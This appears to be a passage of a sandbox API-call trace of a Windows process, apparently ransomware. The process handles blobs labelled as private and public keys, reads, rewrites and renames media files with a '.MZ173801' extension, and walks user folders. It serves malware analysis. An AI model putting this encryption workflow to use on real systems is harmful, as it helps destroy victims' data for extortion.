CvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0166.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x3225fac, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0166.504] GetCurrentThreadId () returned 0xab4 [0166.504] GetCurrentThreadId () returned 0xab4 [0166.504] GetCurrentThreadId () returned 0xab4 [0166.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0166.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0166.505] GetCurrentThreadId () returned 0xab4 [0166.505] GetCurrentThreadId () returned 0xab4 [0166.505] GetCurrentThreadId () returned 0xab4 [0166.505] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\Ze2.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\auipfdweiccpzrskpaw0\\ze2.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.505] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0166.505] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.505] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x18306 [0166.505] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.505] ReadFile (in: hFile=0x27c, lpBuffer=0x24a8f70, nNumberOfBytesToRead=0x18306, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24a8f70*, lpNumberOfBytesRead=0x19f480*=0x18306, lpOverlapped=0x0) returned 1 [0166.507] CloseHandle (hObject=0x27c) returned 1 [0166.509] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\Ze2.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\auipfdweiccpzrskpaw0\\ze2.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.511] WriteFile (in: hFile=0x27c, lpBuffer=0x24c2fa0*, nNumberOfBytesToWrite=0x18306, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24c2fa0*, lpNumberOfBytesWritten=0x19f48c*=0x18306, lpOverlapped=0x0) returned 1 [0166.513] CloseHandle (hObject=0x27c) returned 1 [0166.567] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\Ze2.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\auipfdweiccpzrskpaw0\\ze2.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\Ze2.mkv.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\auipfdweiccpzrskpaw0\\ze2.mkv.mz173801")) returned 1 [0166.568] GetCurrentThreadId () returned 0xab4 [0166.568] GetCurrentThreadId () returned 0xab4 [0166.568] GetCurrentThreadId () returned 0xab4 [0166.568] GetCurrentThreadId () returned 0xab4 [0166.568] GetCurrentThreadId () returned 0xab4 [0166.568] GetCurrentThreadId () returned 0xab4 [0166.568] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f71400, ftCreationTime.dwHighDateTime=0x1d5eeaf, ftLastAccessTime.dwLowDateTime=0x6115c780, ftLastAccessTime.dwHighDateTime=0x1d5e0d9, ftLastWriteTime.dwLowDateTime=0x6115c780, ftLastWriteTime.dwHighDateTime=0x1d5e0d9, nFileSizeHigh=0x0, nFileSizeLow=0x18306, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Ze2.mkv", cAlternateFileName="")) returned 0 [0166.568] GetLastError () returned 0x12 [0166.568] FindClose (in: hFindFile=0xa1b850 | out: hFindFile=0xa1b850) returned 1 [0166.568] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\aUIpFDwEiCcpzrSkPaW0\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90e5ae0, ftCreationTime.dwHighDateTime=0x1d5e785, ftLastAccessTime.dwLowDateTime=0x8d6cc1b6, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8d6cc1b6, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0166.568] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0166.568] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.568] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90e5ae0, ftCreationTime.dwHighDateTime=0x1d5e785, ftLastAccessTime.dwLowDateTime=0x8d6cc1b6, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8d6cc1b6, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0166.568] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.568] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.568] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a54f5c0, ftCreationTime.dwHighDateTime=0x1d5e1bf, ftLastAccessTime.dwLowDateTime=0x6a8e99b0, ftLastAccessTime.dwHighDateTime=0x1d5e537, ftLastWriteTime.dwLowDateTime=0x8d5e74cf, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xeddb, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="MX9apbEfVsUdHsYol.swf.MZ173801", cAlternateFileName="MX9APB~1.MZ1")) returned 1 [0166.568] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.568] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.569] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60b99fe0, ftCreationTime.dwHighDateTime=0x1d5e1ac, ftLastAccessTime.dwLowDateTime=0xa3c59870, ftLastAccessTime.dwHighDateTime=0x1d5e229, ftLastWriteTime.dwLowDateTime=0x8d60d77e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xb527, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="rsEEM5nZHG-x.swf.MZ173801", cAlternateFileName="RSEEM5~1.MZ1")) returned 1 [0166.569] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.569] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.569] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f71400, ftCreationTime.dwHighDateTime=0x1d5eeaf, ftLastAccessTime.dwLowDateTime=0x6115c780, ftLastAccessTime.dwHighDateTime=0x1d5e0d9, ftLastWriteTime.dwLowDateTime=0x8d6cc1b6, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x18306, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Ze2.mkv.MZ173801", cAlternateFileName="ZE2MKV~1.MZ1")) returned 1 [0166.569] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.569] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.569] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f71400, ftCreationTime.dwHighDateTime=0x1d5eeaf, ftLastAccessTime.dwLowDateTime=0x6115c780, ftLastAccessTime.dwHighDateTime=0x1d5e0d9, ftLastWriteTime.dwLowDateTime=0x8d6cc1b6, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x18306, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Ze2.mkv.MZ173801", cAlternateFileName="ZE2MKV~1.MZ1")) returned 0 [0166.569] GetLastError () returned 0x12 [0166.569] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0166.569] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0a0a230, ftCreationTime.dwHighDateTime=0x1d5f105, ftLastAccessTime.dwLowDateTime=0xfa472ad0, ftLastAccessTime.dwHighDateTime=0x1d5e4b1, ftLastWriteTime.dwLowDateTime=0x8cd42b5d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1581d, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="cEUdy Q8gkA4LqZQF.avi.MZ173801", cAlternateFileName="CEUDYQ~1.MZ1")) returned 1 [0166.569] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0166.569] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0166.569] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbceefa80, ftCreationTime.dwHighDateTime=0x1d5ece2, ftLastAccessTime.dwLowDateTime=0xb85f3760, ftLastAccessTime.dwHighDateTime=0x1d5e5ca, ftLastWriteTime.dwLowDateTime=0x8cd68dd2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x5a82, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="jjcfaQYy1u4aYRF.flv.MZ173801", cAlternateFileName="JJCFAQ~1.MZ1")) returned 1 [0166.569] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0166.569] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0166.569] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695810f0, ftCreationTime.dwHighDateTime=0x1d5e283, ftLastAccessTime.dwLowDateTime=0xf0089f0, ftLastAccessTime.dwHighDateTime=0x1d5e375, ftLastWriteTime.dwLowDateTime=0x8cd8ee97, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x22b0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="sqorZLc30 FYq4TE ce9.mkv.MZ173801", cAlternateFileName="SQORZL~1.MZ1")) returned 1 [0166.569] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0166.569] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0166.569] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9472f5e0, ftCreationTime.dwHighDateTime=0x1d5eb0a, ftLastAccessTime.dwLowDateTime=0xe8db7a50, ftLastAccessTime.dwHighDateTime=0x1d5e270, ftLastWriteTime.dwLowDateTime=0xe8db7a50, ftLastWriteTime.dwHighDateTime=0x1d5e270, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="wmEX", cAlternateFileName="")) returned 1 [0166.569] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0166.569] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0166.569] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9472f5e0, ftCreationTime.dwHighDateTime=0x1d5eb0a, 